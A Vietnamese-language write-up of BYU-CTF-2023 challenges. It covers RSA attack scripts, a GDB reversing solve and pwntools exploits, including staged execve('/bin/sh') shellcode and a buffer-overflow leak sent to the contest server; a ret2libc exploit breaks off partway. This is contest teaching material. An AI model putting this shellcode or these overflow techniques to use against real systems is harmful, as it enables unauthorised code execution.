Try   HackMD

(writeup) BYU-CTF-2023

official write-up

CRYPTO

RSA1

  • script:
from Crypto.Util.number import *

n = 287838647563564518717519107521814079281
e = 7
c = 258476617615202392748150555415953446503

#factor n
p = 18413880828441662521
q = 15631612382272805561
phi = (p-1)*(q-1)
d = inverse(e,phi)
m =pow(c,d,n)


flag =long_to_bytes(m).decode()
print(flag)

Flag: byuctf{too_smol}


RSA2

  • script:
from Crypto.Util.number import *

n = 546014635841741214724882952304387823741798461149589549073179989118942746109940806878269775538274570065946589413677004071487344751464649121103982272835006900203922112014630898761428602513684456008956735791010937229939856259403186940249737579526542460562078728957198932156520780835942292131829398548678970431263462917223085165930683353518778015361505451889259321493813123084031407195410778661720394898118828299025325200597986154170392835072784810370185329392356423340408483449291280713796374297147668615988522804223480631576577707073715128342533703842150980913675658012799681575774731843549389349977365287936534707998476564357339504431638612839358093914282814270477657856345062084136585402704930924062452984009716927826681976269057923158930326380110735873715506666086031427627450725825495228912040943784627278987497908133546573083543604901933763330940965980882566819970423354937076331119777415405707162588442490342746115310986462330781467571631209829523895479737199963129517613642920935109776495829400236613168913129178658637967592913193540283532220304664924612246117951571439486418122093867454452618997458068515332016877486822805232899716524040444751997121936138984564834862354469295078855441829018404782747219665338778379471257704041
e = 65537
c = 497483520135207500611760341868934810216889295862727367409205471739457798733223813938415492642898622071289502771394670201759355356873731071744923938304067196827981196823596976532284031567818944043351160692892539254848854527943095670705184836531463778923699513154523281624336593518751911469590777921172775020125081803529411082078530404614569485860638460689961289946436553586222781503048987585305336865777424252321433817251942278548031598867440246798562662298880488044382840476214732326114298681849826143159014132251265975612736174765852107701466877003101250308950535660691651846052082123375934624356694170453897672257371991315676787548733520567289929667876604682273501711766130944645562650989837328685043543330211830184365436596077862055649246517141787872170320358968622818470064395975654949073402489903952399985907827496667385839890041608685588908200009780210043116940593521695695047783434230143405184690206691002634954008353327872663055826018481013718627348218684688250775372760462829705754318024652361552668830110066219305953343851243676904796434142570868419087560131333056695456062994781034014322792678534785191950145702468201676105282230660132801024614625267740668507168119879074770666830923799616054485447308126877109671082189614

#factor n
p = 23379772179812068808174060753537744579203831235837216258047345717791206838844783973094148970269358352883567686183840162453475135997997950171025172534250066839781721720291637394109275750765747393807129441718738564581300844549866075387635571271298099970059805382997224172143494300775742278526976057440901844970233807992493192827375594281731619879000721912671268883932814086571959959837609600236134071446484378655039534937911808777812990351810838102078057859303673209338100518315299313874836179635779981742550281014611235035038725280128727341135995530457136512443488805309366834219571741391932893715725604175334445964881
q = 23354146979807319379999035616961227366315140956417473671454187034894451162291754802462941941792796900830979379875976598091266482784685424013905480696388873312112449447015212036533336920764065285748033710474328055812364692120325949818178301777905279103958955246642416286153474237338739835798119305508201074075918506331902107847659951627678483765213310235851319160745426496852724170929530989982548624157909773262752522594414435161921211944019434983046703898010646693649668494220236993757035493132421299985405030215783112721654976457363937286689672094963265015048673356916456174809392166143308820305157390154213277022361
phi = (p-1)*(q-1)
d = inverse(e,phi)
m =pow(c,d,n)


flag =long_to_bytes(m).decode()
print(flag)

Flag:byuctf{rsa_is_only_secure_when_p_and_q_are_unknown}


RSA3

  • Chall này cho ta data như sau:
n1 = 26936730986023789726214222876998431579035871765812234385674097050592112272540329063679602773116293498245937781951160051718036177035087801218359133356523071700951108999020905116034905584806261203518345118128714311038590925635180342040347317022008233631809623824589107373210514331169745651687793393307158179191306187356408951648269495142386375021669218752561961647301029204701333026044435685936341126368602940601101599988477874713569476970068734357580527463645209944448988010693985476127837819331701523891965427561798033127731232916390511986369304971158889254173850566560028528340860519614489276904182246324437302697433

e1 = 65537

c1 = 25934221721388531303090294836956821212346696995428676440185777623629033147440636130540319272854260855117016879903925227836710795492438220977864741830686432435183222727791461378988782191893620213711460265022633971293289987925875691438890670054518553696690583070284033592035281829227897938832962322172505881421894428362134145126751766514249801481330619906708370005958557827981820321861133293595400304305721764486699677941331024345924352161482159664366018182446127343098427579677894070842066840562853624060861183697917208697602208453017595582242281467105778066369782229287834403074433848470534633158573935584429007575715


n2 = 20923351960149847207730448386993771286287991808293298691185156471519720793292179321382926775933281826329369963004005667653815105072159583791658532166606431385861980687037872135521884790087813454844716254644626942821490878728677736261700329782075809716063515721266692286574071240561529911159730824490258866613280873755548760004314650585913096197607936750263556276920577987540676841745347308103070523989154846358123142014592046611945781700690640990848003152423310523158983857208127158850925297742214928064334410930947749935069628731105093722212442331657106356911123912454871778728334875010902513275561639806401894881233

e2 = 65537

c2 = 5993773597007465934515223705550947500391213737662065644971977783446564890828050443747162704068048188331597029929182281837445674583301936037963788912954366180921337518251139032904603786774772009913305609053718347365864177247549192649908207240197602397010006677485658506955283638199651692990436006544549785434255965098715363287267470252318128158357490592521797199393154974403123099999366644663048724011101287811844340320520544010179529188112211115440469084617438296961494801221969674213288489675624156545941630517075958425681203711654677553772595530799489102830165490202523397154229276688719481530893488434863906070343

  • Ta thấy có 2 giá trị n1 và n2 nhưng lại chỉ có 1 e, ta thử tìm Ước chung lớn nhất của 2 giá trị n1 và n2 này, và đó sẽ chính là p

  • Đoạn code sẽ như sau:

from Crypto.Util.number import*

def egcd(a, b):
    x,y, u,v = 0,1, 1,0
    while a != 0:
        q, remainder = b//a, b%a
        m, n = x-u*q, y-v*q
        b,a, x,y, u,v = a,remainder, u,v, m,n
    gcd = b
    return gcd


n1 = 26936730986023789726214222876998431579035871765812234385674097050592112272540329063679602773116293498245937781951160051718036177035087801218359133356523071700951108999020905116034905584806261203518345118128714311038590925635180342040347317022008233631809623824589107373210514331169745651687793393307158179191306187356408951648269495142386375021669218752561961647301029204701333026044435685936341126368602940601101599988477874713569476970068734357580527463645209944448988010693985476127837819331701523891965427561798033127731232916390511986369304971158889254173850566560028528340860519614489276904182246324437302697433

e1 = 65537

c1 = 25934221721388531303090294836956821212346696995428676440185777623629033147440636130540319272854260855117016879903925227836710795492438220977864741830686432435183222727791461378988782191893620213711460265022633971293289987925875691438890670054518553696690583070284033592035281829227897938832962322172505881421894428362134145126751766514249801481330619906708370005958557827981820321861133293595400304305721764486699677941331024345924352161482159664366018182446127343098427579677894070842066840562853624060861183697917208697602208453017595582242281467105778066369782229287834403074433848470534633158573935584429007575715


n2 = 20923351960149847207730448386993771286287991808293298691185156471519720793292179321382926775933281826329369963004005667653815105072159583791658532166606431385861980687037872135521884790087813454844716254644626942821490878728677736261700329782075809716063515721266692286574071240561529911159730824490258866613280873755548760004314650585913096197607936750263556276920577987540676841745347308103070523989154846358123142014592046611945781700690640990848003152423310523158983857208127158850925297742214928064334410930947749935069628731105093722212442331657106356911123912454871778728334875010902513275561639806401894881233

e2 = 65537

c2 = 5993773597007465934515223705550947500391213737662065644971977783446564890828050443747162704068048188331597029929182281837445674583301936037963788912954366180921337518251139032904603786774772009913305609053718347365864177247549192649908207240197602397010006677485658506955283638199651692990436006544549785434255965098715363287267470252318128158357490592521797199393154974403123099999366644663048724011101287811844340320520544010179529188112211115440469084617438296961494801221969674213288489675624156545941630517075958425681203711654677553772595530799489102830165490202523397154229276688719481530893488434863906070343

p = (egcd(n1,n2))
q = n1//p
phi = (p-1)*(q-1)

d = inverse(e1,phi)

print(long_to_bytes(pow(c1,d,n1)))

Flag của chall này là: byuctf{coprime_means_factoring_N_becomes_much_easier}


RSA4

from Crypto.Util.number import long_to_bytes
from functools import reduce
from gmpy2 import iroot

e123 = 3
n1 = 25204912957894049536633029588071532883154221495361435745558539407530325536509218257991893451902442183954212400671502526830623527340613723328379300388737939211263541814108106183164630301938900862986688763583982133846507136234797325243547177627054271161715200611591594812723672399437505379398941496184886411879923583394041753902383846644013849190900416111230521180435101859101110596828380586449182686175177638441549656137307050392520754146511496313215137339773851458160180450925216541537448515297981124184019831730808991821344392915274230294654187421183676471212265322367890189804699510021526923237231850244056681024361
c1 = 8177192204481601898705460379101384591996531766013815643642297541939314169289538943467463950155787562006058743758523755363825964609610993939021120980839831173842134605117089923025444468026164578567348718360392736482132312367435114106411271743218631041094275894508404221506482038656928803775293360599721583316194630449469869000491476753827928793659938654925187969087524783314008405767753004191090522037968098548258698350055999105058915648497702724525585509
n2 = 17730912385401458370516374144454354828481353051514329263921774569034415114147424203611660978860008058118764431105602401970281692066419254457694301039461623568501484102567802483628476717695013320444442267232019104240173401975387173805390636521671252624249730700497552226732834062715286458634274525026438931671208367178653031967364951679420066768732647183187381700016195545187024094717207787859217993871236368911145957298126589666514319408022801341248744002320245345234912423717815146532293315342644702101415345900126397475592837306256140915525455824350305349773210334856093169535686115299159772550674315375987529523179
c2 = 8177192204481601898705460379101384591996531766013815643642297541939314169289538943467463950155787562006058743758523755363825964609610993939021120980839831173842134605117089923025444468026164578567348718360392736482132312367435114106411271743218631041094275894508404221506482038656928803775293360599721583316194630449469869000491476753827928793659938654925187969087524783314008405767753004191090522037968098548258698350055999105058915648497702724525585509
n3 = 23693871552180460990138635073805949225912252125308334418081834697641804631104724668330415198785050388969117484647897131795893896100932121531733121069301557203541651575306855376180158639595396645851251320756224273151350168394783274111111375428683335001923152182758469432988805562827169898721409159172411067426322303967736140645806651181720610635139163613355013365367013643617931710120446074129630384181873406149243284193113399417540744056880787819360491511062694356302764642727497777585348003477373456680752873785829149551421840290660162776229985812994060664107888011786183808824620497078292008444842754064007647832261
c3 = 8177192204481601898705460379101384591996531766013815643642297541939314169289538943467463950155787562006058743758523755363825964609610993939021120980839831173842134605117089923025444468026164578567348718360392736482132312367435114106411271743218631041094275894508404221506482038656928803775293360599721583316194630449469869000491476753827928793659938654925187969087524783314008405767753004191090522037968098548258698350055999105058915648497702724525585509

def chinese_remainder(n, a):
    sum = 0
    prod = reduce(lambda a, b: a*b, n)
    for n_i, a_i in zip(n, a):
        p = prod // n_i
        sum += a_i * mul_inv(p, n_i) * p
    return sum % prod

def mul_inv(a, b):
    b0 = b
    x0, x1 = 0, 1
    if b == 1: return 1
    while a > 1:
        q = a // b
        a, b = b, a%b
        x0, x1 = x1 - q * x0, x0
    if x1 < 0: x1 += b0
    return x1

m=chinese_remainder([n1,n2,n3],[c1,c2,c3])
flag = iroot(m,e123)[0]

print(long_to_bytes(flag))

Flag: byuctf{hastad_broadcast_attack_is_why_e_needs_to_be_very_large}


RSA5

  • script:
from Crypto.Util.number import long_to_bytes 
from numpy import gcd ,mod
n = 158307578375429142391814474806884486236362186916188452580137711655290101749246194796158132723192108831610021920979976831387798531310286521988621973910776725756124498277292094830880179737057636826926718870947402385998304759357604096043571760391265436342427330673679572532727716853811470803394787706010603830747
e1 = 65537

c1 = 147465654815005020063943150787541676244006907179548061733683379407115931956604160894199596187128857070739585522099795520030109295201146791378167977530770154086872347421667566213107792455663772279848013855378166127142983660396920011133029349489200452580907847840266595584254579298524777000061248118561875608240

e2 = 65521

c2 = 142713643080475406732653557020038566547302005567266455940547551173573770529850069157484999432568532977025654715928532390305041525635025949965799289602536953914794718670859158768092964083443092374251987427058692219234329521939404919423432910655508395090232621076454399975588453154238832799760275047924852124717
u=-4095  #tìm u,v thông qua e1*u + e2*v = 1 và áp dụng euclid mở rộng
v=4096

# c1_inv là kết quả của nghịch đảo của c modul n
c1_inv = 41927986095072457444217736683837680663124015714519624826567637473436840224329050796518412622704248843623876460470352658796681519749838102909966117084980630961538920888206501864603139250353935696568348581578810754609263580820375423804224092959000250716559616575897834442887109531283082744504538831190992012975
m= (pow(c1_inv,-u) * pow(c2,v))%n
print(long_to_bytes(m))

Flag:byuctf{NEVER_USE_SAME_MODULUS_WITH_DIFFERENT_e_VALUES}


RSA5 script2

  • Chall này cho ta 1 data như sau:
n = 158307578375429142391814474806884486236362186916188452580137711655290101749246194796158132723192108831610021920979976831387798531310286521988621973910776725756124498277292094830880179737057636826926718870947402385998304759357604096043571760391265436342427330673679572532727716853811470803394787706010603830747

e1 = 65537

c1 = 147465654815005020063943150787541676244006907179548061733683379407115931956604160894199596187128857070739585522099795520030109295201146791378167977530770154086872347421667566213107792455663772279848013855378166127142983660396920011133029349489200452580907847840266595584254579298524777000061248118561875608240

e2 = 65521

c2 = 142713643080475406732653557020038566547302005567266455940547551173573770529850069157484999432568532977025654715928532390305041525635025949965799289602536953914794718670859158768092964083443092374251987427058692219234329521939404919423432910655508395090232621076454399975588453154238832799760275047924852124717

  • Ta thấy 2 bộ này đều cùng module n, có 2 e1 và e2, c1 và c2. Nhìn phát biết ngay sẽ cần phải tấn công kiểu nào
  • Ta sẽ tấn công kiểu External Module
  • Ta thấy gcd(e1,e2) = 1 > sẽ thu được e1*a1 + e2*a2 = 1
  • Khi đó, c1^a1 * c2^a2 ≡ (m^e1)^a1 * (m^e2)^a2 ≡ m^(e1*a1 + e2*a2) ≡ m (mod n)
  • Tức là pow(c1,a1,n) * pow(c2,a2,n)%n = m
from Crypto.Util.number import*
import gmpy2

def egcd(a, b):
        x,y, u,v = 0,1, 1,0
        while a != 0:
            q, remainder = b//a, b%a
            m, n = x-u*q, y-v*q
            b,a, x,y, u,v = a,remainder, u,v, m,n
        gcd = b
        return gcd, x, y

n = 158307578375429142391814474806884486236362186916188452580137711655290101749246194796158132723192108831610021920979976831387798531310286521988621973910776725756124498277292094830880179737057636826926718870947402385998304759357604096043571760391265436342427330673679572532727716853811470803394787706010603830747

e1 = 65537

c1 = 147465654815005020063943150787541676244006907179548061733683379407115931956604160894199596187128857070739585522099795520030109295201146791378167977530770154086872347421667566213107792455663772279848013855378166127142983660396920011133029349489200452580907847840266595584254579298524777000061248118561875608240

e2 = 65521

c2 = 142713643080475406732653557020038566547302005567266455940547551173573770529850069157484999432568532977025654715928532390305041525635025949965799289602536953914794718670859158768092964083443092374251987427058692219234329521939404919423432910655508395090232621076454399975588453154238832799760275047924852124717

g,a1,a2 = egcd(e1,e2)

m = pow(c1,a1,n) * pow(c2,a2,n) % n 
print(long_to_bytes(m))

Flag: byuctf{NEVER_USE_SAME_MODULUS_WITH_DIFFERENT_e_VALUES}


Compact

  • Link Tool
  • format flag:

Flag: byuctf{well its definitely more compact}


REV

Rev Eng

  • Sau khi tệp gettingBetter được tải xuống, tôi thực hiện check file.

Screenshot from 2023-05-21 09-50-35

  • Biết được đây là tệp thực thi, tôi đã chạy tệp thực thi và nhập "paspharase" là một chuỗi bất kì và chương trình cho tôi biết điều đó không chính xác.

Screenshot from 2023-05-21 09-51-20

  • Vì vậy tôi đã xác định được yêu cầu của thử thách là nhập đúng pass để lấy được flag. Bắt đầu quá trình debug bằng công cụ GDB:
  • Tôi sẽ sử dụng lệnh sau để biết hàm main làm những gì:

Screenshot from 2023-05-21 10-36-41

Screenshot from 2023-05-21 10-39-01

  • Tôi tìm được hàm check passphrase tại địa chỉ 0x00005555555551bf (có thể đoán được đây là hàm quyết định để ta có được flag) vì vậy tôi đặt break tại địa chỉ này và bắt đầu debug.

Screenshot from 2023-05-21 10-43-40

  • Kết quả:

Screenshot from 2023-05-21 10-45-59

  • passphrase đúng sẽ là She turned me into a newt

Screenshot from 2023-05-21 10-48-34

Flag:byuctf{i_G0t_3etTeR!_1975}


PWN

2038

  • Source code
int print_flag()
{
  char v1; // [rsp+7h] [rbp-9h]
  FILE *stream; // [rsp+8h] [rbp-8h]

  stream = fopen("flag.txt", "r");
  if ( !stream )
    return puts("Could not find flag.txt");
  while ( 1 )
  {
    v1 = getc(stream);
    if ( v1 == -1 )
      break;
    putchar(v1);
  }
  return putchar(10);
}

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *v4; // rax
  char *v5; // rax
  int v6; // [rsp+4h] [rbp-2Ch]
  time_t timer; // [rsp+8h] [rbp-28h] BYREF
  time_t v8; // [rsp+10h] [rbp-20h] BYREF
  char nptr[12]; // [rsp+1Ch] [rbp-14h] BYREF
  unsigned __int64 v10; // [rsp+28h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  puts("Task: 'print_flag'");
  puts("Description: 'prints out the flag'");
  puts("Date: 'undefined'\n");
  puts("ERROR - date for 'print_flag' task is not defined");
  puts("This task is not available until January 1st, 2024\n");
  puts("You may optionally extend this task to be available later");
  puts(
    "To specify when you would like to make the task available, specify the number of seconds since January 1st, 1970 UTC");
  printf("> ");
  __isoc99_scanf("%10s", nptr);
  v6 = atoi(nptr);
  if ( (unsigned int)v6 > 0x6592007F )
  {
    timer = v6;
    v4 = ctime(&timer);
    printf("\nSpecified datetime - %s\n", v4);
    v8 = time(0LL);
    v5 = ctime(&v8);
    printf("Current datetime - %s\n", v5);
    if ( timer >= v8 )
    {
      puts("'print_flag' was not run because specified date has not occurred yet. Exiting...");
    }
    else
    {
      puts("Time requirement has been met. Running 'print_flag'...");
      print_flag();
    }
    return 0;
  }
  else
  {
    puts("\nERROR - date must be after January 1st, 2024");
    return 1;
  }
}
  • Ý tưởng
  • Đây là bài time UNIX, đầu vào cho ta nhập vào 1 chuỗi và đổi chuỗi đó sang số thông qua hàm atoi()
  __isoc99_scanf("%10s", nptr);
  v6 = atoi(nptr);
  • Nói chung chỉ cần thoả các điều kiện thì nó sẽ in ra flag, chú ý đề bài 2038, nên ta sẽ dùng các trang web UNIX time converter để convert sang số.
  • Khai thác:
  • Do đề bài hint cho ta năm 2038, nên ta sẽ convert năm 2038 còn ngày tháng bao nhiêu cũng được
  • Kết quả

image


VFS-1

  • Source code
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

__attribute__((constructor)) void flush_buf() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}

void banner() {
    puts("VVVVVVVV           VVVVVVVVFFFFFFFFFFFFFFFFFFFFFF   SSSSSSSSSSSSSSS ");
    puts("V::::::V           V::::::VF::::::::::::::::::::F SS:::::::::::::::S");
    puts("V::::::V           V::::::VF::::::::::::::::::::FS:::::SSSSSS::::::S");
    puts("V::::::V           V::::::VFF::::::FFFFFFFFF::::FS:::::S     SSSSSSS");
    puts(" V:::::V           V:::::V   F:::::F       FFFFFFS:::::S            ");
    puts("  V:::::V         V:::::V    F:::::F             S:::::S            ");
    puts("   V:::::V       V:::::V     F::::::FFFFFFFFFF    S::::SSSS         ");
    puts("    V:::::V     V:::::V      F:::::::::::::::F     SS::::::SSSSS    ");
    puts("     V:::::V   V:::::V       F:::::::::::::::F       SSS::::::::SS  ");
    puts("      V:::::V V:::::V        F::::::FFFFFFFFFF          SSSSSS::::S ");
    puts("       V:::::V:::::V         F:::::F                         S:::::S");
    puts("        V:::::::::V          F:::::F                         S:::::S");
    puts("         V:::::::V         FF:::::::FF           SSSSSSS     S:::::S");
    puts("          V:::::V          F::::::::FF           S::::::SSSSSS:::::S");
    puts("           V:::V           F::::::::FF           S:::::::::::::::SS ");
    puts("            VVV            FFFFFFFFFFF            SSSSSSSSSSSSSSS   ");
    puts("");
    puts("");
    puts("[+] Welcome to the Virtual File System! Here you can create, delete, and");
    puts("modify files. In order to save space, multiple people are using this same");
    puts("system. But don't worry! We've implemented a system to prevent people from");
    puts("seeing each other's files. Enjoy!\n\n");
}

int menu() {
    int choice;

    puts("[+] What would you like to do?");
    puts("1. Create a file");
    puts("2. Delete a file");
    puts("3. Modify a file");
    puts("4. Read a file");
    puts("5. Exit");

    printf("> ");
    scanf("%d", &choice);

    return choice;
}

int main() {
    banner();

    // INITIALIZATIONS
    struct filesystem {
        char contents[2880];
        char flag[64];
        int current_file;
    };

    // get flag
    struct filesystem fs;
    char * buffer = 0;
    long length;
    FILE * f = fopen ("flag.txt", "rb");

    if (f) {
        fseek (f, 0, SEEK_END);
        length = ftell (f);
        fseek (f, 0, SEEK_SET);
        buffer = malloc (length);
        if (buffer) {
            fread (buffer, 1, length, f);
        }
        fclose (f);
    }

    if (buffer) {
        strcpy(fs.flag, buffer);
        free(buffer);
    }
    else {
        puts("[-] Error reading flag");
        exit(1);
    }

    fs.current_file = 0;
    char filename[32];
    char contents[256];

    while (1==1) {
        int choice = menu();

        if (choice == 1) {

            if (fs.current_file == 10) {
                puts("[-] Sorry, you can't create any more files!");
                continue;
            }
            // create


            puts("[+] What would you like to name your file?");
            printf("> ");
            scanf("%32s", filename);

            puts("[+] What would you like to put in your file?");
            printf("> ");
            scanf("%256s", contents);

            // copy filename
            memcpy(fs.contents + (fs.current_file*288), filename, 32);

            // copy contents
            memcpy(fs.contents + (fs.current_file*288) + 32, contents, 256);

            printf("[+] File created! (#%d)\n\n", fs.current_file);
            fs.current_file++;
        }
        else if (choice == 2) {
            // delete
            //delete_file();
            printf("Sorry, that hasn't been implemented yet!\n");
        }
        else if (choice == 3) {
            // modify
            //modify_file();
            printf("Sorry, that hasn't been implemented yet!\n");
        }
        else if (choice == 4) {
            // read
            int file_to_read;

            puts("[+] Which file # would you like to read?");
            printf("> ");
            scanf("%d", &file_to_read);

            if ((file_to_read >= fs.current_file) || (file_to_read < 0)) {
                puts("[-] Invalid file number");
                continue;
            }

            printf("[+] Filename: %s", fs.contents + (file_to_read*288));
            printf("[+] Contents: %s", fs.contents + (file_to_read*288) + 32);
        }
        else if (choice == 5) {
            exit(0);
        }
        else {
            puts("[-] Invalid choice");
            exit(1);
        }
    }
}
  • Ý tưởng:
  • Đọc code khá lú, đại loại sẽ tạo (option 1) và đọc (option 4), khi ta debug ta thấy, flag sẽ được đọc và ghi vào heap như này

image

image

  • Ta debug đến strcpy thì thấy nó như này

image

strcpy@plt (
   $rdi = 0x007fffffffdab00x0000000000000000,
   $rsi = 0x00555555559690"this-is-fake-flag\n",
   $rdx = 0x007fffffffdab00x0000000000000000
)
  • Nghĩa là nó lấy flag bỏ vào địa chỉ 0x007fffffffdab0, lưu trong stack
  • Flag của chúng ở đây
0x007fff9417f090│+0x0b60: "this-is-fake-flag\n"
0x007fff9417f098│+0x0b68: "fake-flag\n"
  • Chuỗi chúng ta nhập ở đây
0x007fff9417e550+0x0020: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa111111111111111111[...]"
0x007fff9417e558+0x0028: "aaaaaaaaaaaaaaaaaaaaaaaa11111111111111111111111111[...]"
0x007fff9417e560+0x0030: "aaaaaaaaaaaaaaaa1111111111111111111111111111111111[...]"
0x007fff9417e568+0x0038: "aaaaaaaa111111111111111111111111111111111111111111[...]"
0x007fff9417e570+0x0040: "11111111111111111111111111111111111111111111111111[...]"
0x007fff9417e578
  • Nghĩa là nếu chúng ta có thể nối chuỗi ở 0x007fff9417e550 với flag thành 1 chuỗi không có null byte thì %s nó sẽ in ra hết và kèm flag của ta vào
  • Thực thi
  • Do ta chỉ được nhập 10 lần và chỉ cần 10 lần đó có thể tạo được một chuỗi dài không có null byte
  • Chương trình cho ta nhập 32 byte tên và 256 byte nội dung nên ta vẫn nhập đủ 32 và 256 byte đó
  • script:
#!/usr/bin/python3

from pwn import *

exe = ELF('vfs1', checksec=False)

context.binary = exe


def GDB():
    if not args.REMOTE:
        gdb.attach(p, gdbscript='''
                b*main+355

                c
                ''')
        input()


def info(msg): return log.info(msg)
def sla(msg, data): return p.sendlineafter(msg, data)
def sa(msg, data): return p.sendafter(msg, data)
def sl(data): return p.sendline(data)
def s(data): return p.send(data)


if args.REMOTE:
    p = remote('byuctf.xyz', 40008)
else:
    p = process(exe.path)

GDB()


def option1():
    sla(b"> ", b"1")
    sla(b"> ", b"a"*32)
    sla(b"> ", b"1"*256)


for i in range(10):
    option1()
p.interactive()

image


Shellcode

  • check file + checksec

  • check source:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>

#define MAP_ANONYMOUS 0x20

__attribute__((constructor)) void flush_buf() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}

int main() {
    // create memory for shellcode to reside in
    mmap((char *)0x777777000, 71, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, -1, 0);

    // set first 51 bytes to 0s
    memset((char *)0x777777000, 0x00, 51);

    // get first 10 bytes of shellcode
    char shellcode_one[10];
    puts("Enter first 10 bytes of shellcode: ");
    read(0, shellcode_one, 10);
    memcpy((char *)0x777777000, shellcode_one, 10);

    // get second 10 bytes of shellcode
    char shellcode_two[10];
    puts("Enter second 10 bytes of shellcode: ");
    read(0, shellcode_two, 10);
    memcpy((char *)0x777777020, shellcode_two, 10);

    // get third 10 bytes of shellcode
    char shellcode_three[10];
    puts("Enter third 10 bytes of shellcode: ");
    read(0, shellcode_three, 10);
    memcpy((char *)0x777777040, shellcode_three, 10);

    // get last 10 bytes of shellcode
    char shellcode_four[10];
    puts("Enter last 10 bytes of shellcode: ");
    read(0, shellcode_four, 10);
    memcpy((char *)0x777777060, shellcode_four, 10);

    // call shellcode
    ((void (*)())0x777777000)();
    return 0;
}
  • thông qua source code ta sẽ nhập 4 lần shellcode, và cuối cùng thực thi shellcode ngay địa chỉ mình nhập lần đầu
  • idea ban đầu là chia shellcode làm 4 phần

3 phần đầu
phần 4 k cần thiết, nhập tuỳ thích (lệnh 'nop' vẫn được)

  • tới đây chương trình sẽ thực thi shellcode mình bằng cách gọi rdx

  • khi mình đi sâu vào lệnh bằng si thì thấy có mỗi 10 byte đầu của mình

  • kiểm tra rdx:

  • thấy là shellcode ta nhập cách nhau
  • đổi hướng: gọi hàm read lên để chèn shellcode
  • argument của read :

rax : 0
rdi : 0 (fd: file descriptor là stdin nên là 0)
rsi : rdx ( *buf: vị trí ghi, lấy luôn tại rdx)
rdx : rdx ( size : kích thước ghi, chắc khỏi đổi)

  • check arg:

có sẵn rax = NULL, rdi = NULL

  • vậy shellcode gọi thằng read là

5 byte là quá đủ cho 1 cuộc tình

  • sau khi gọi thành công thằng read, nó sẽ nhập lại vị trí mình nhập 5 byte gọi read lên, nên mình sẽ bypass qua 5 byte đó r thêm shellcode
  • nó sẽ thực thi tiếp vị trí sau syscall gọi read (byte thứ 6)

đóng server rồi nên chạy local đỡ

  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./shellcode',checksec=False)
context.arch = 'x86-64'

#p = process(exe.path)
p = remote('byuctf.xyz',40017)

# gdb.attach(p, gdbscript='''
# 	b*main+119
# 	b*main+178
# 	b*main+237
# 	b*main+296
# 	b*main+341
# 	c
# 	''')
# input()

stage1 = asm('''
	mov rsi,rdx
	syscall
	''',arch='amd64')
p.send(stage1)

bypass = asm('''
	nop
	''',arch='amd64')

p.send(bypass)
p.send(bypass)
p.send(bypass)

shellcode = asm(
    '''
    mov rbx, 29400045130965551
    push rbx

    mov rdi, rsp
    xor rsi, rsi
    xor rdx, rdx
    mov rax, 0x3b
    syscall
    ''', arch='amd64')

payload = b'\0'*5
payload += shellcode

p.send(payload)

p.interactive()
#byuctf{1m_als0_pretty_new_t0_pwn_s0_h0p3_it_was_g00d}

Flag: byuctf{1m_als0_pretty_new_t0_pwn_s0_h0p3_it_was_g00d}


frorg

  • Source
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4[12]; // [rsp+Ch] [rbp-34h] BYREF
  int i; // [rsp+3Ch] [rbp-4h]

  puts("I love frorggies so much! So much I made this application to store all the frorgie names you want");
  puts("How many frorgies you want to store? ");
  __isoc99_scanf("%d", v4);
  for ( i = 0; i < v4[0]; ++i )
  {
    puts("Enter frorgy name: ");
    read(0, (char *)&v4[1] + 10 * i, 0xAuLL);
  }
  puts("Thank you!");
  return 0;
}
  • Ý tưởng
  • Ta chú ý dòng này read(0, (char *)&v4[1] + 10 * i, 0xAuLL);, đại loại nó sẽ read vào địa chỉ v4 + 10 * i vậy các địa chỉ là sẽ liên tụ với nhau
0x007ffe213b4b28+0x0008: 0x0000000900000000
0x007ffe213b4b30+0x0010: "aaaaaaaaaa"   ← $rsi
0x007ffe213b4b38+0x0018: 0x00000000006161 ("aa"?)
  • Ta debug thử thì đúng như lí thuyết, 10 byte tiếp theo sẽ là
0x007ffe213b4b28+0x0008: 0x0000000900000000
0x007ffe213b4b30+0x0010: "aaaaaaaaaa"   ← $rsi
0x007ffe213b4b38+0x0018: 0x62626262626161 ("aa"?)
0x007ffe213b4b40+0x0020: 0x0000000062626262
  • Vậy nó sẽ là ret2libc, chỉ là cực hơn thôi
  • Chú ý chỗ này
0x007ffe213b4b50+0x0030: 0x0000000000000000
0x007ffe213b4b58+0x0038: 0x00000002d0090ad0
0x007ffe213b4b60+0x0040: 0x0000000000000001     ← $rbp
  • số 2 trong này sử dụng để biểu diễn số vòng lặp, nên khi ghi đè nó thì phải trả lại cho nó giá trị đúng, ở câu lệnh này
    0x401275 <main+139> cmp DWORD PTR [rbp-0x4], eax
  • khai thác
  • offset
sla(b"store? \n", b"9")
for i in range(4):
    sa(b"name: \n", b"a" * 10)
payload = p64(0x0461616161) + b"aa"
sa(b"name: \n", payload)
  • 0x0461616161 như nó ở trên nếu ghi đè giá trị vòng lặp nó sẽ lặp không đúng, nên ta sẽ phải có byte 0x4 để trả lại giá trị cho nó
  • Trước lúc ghi đè
0x007ffe213b4b50+0x0030: 0x6161616161616161
0x007ffe213b4b58+0x0038: 0x00000003d0090ad0
0x007ffe213b4b60+0x0040: 0x0000000000000001     ← $rbp
  • Sau khi ghi đè
0x007ffd08da7f90+0x0030: 0x6161616161616161
0x007ffd08da7f98+0x0038: 0x0000000561616161
0x007ffd08da7fa0+0x0040: 0x00000000006161 ("aa"?)       ← $rbp
  • overwrite rip
sa(b"name: \n", b"\0" * 6 + p32(0x4011e5))
  • 0x4011e5 là giá trị của pop rdi, ban đầu tính nhảy vào hàm pop rdi nhưng lằng nhằng quá nên ra lấy gadget, ta ghi đè được như này
0x007ffd08da7fa0│+0x0040: 0x00000000006161 ("aa"?)$rbp
0x007ffd08da7fa8│+0x0048: 0x00007fb3004011e5
sa(b"name: \n", b"\0" * 4 + p32(0x404000) + b"\0\0")
  • 4 byte null này để ghi đè cả địa chỉ này thành
    0x007ffd08da7fa8| : 0x000000004011e5
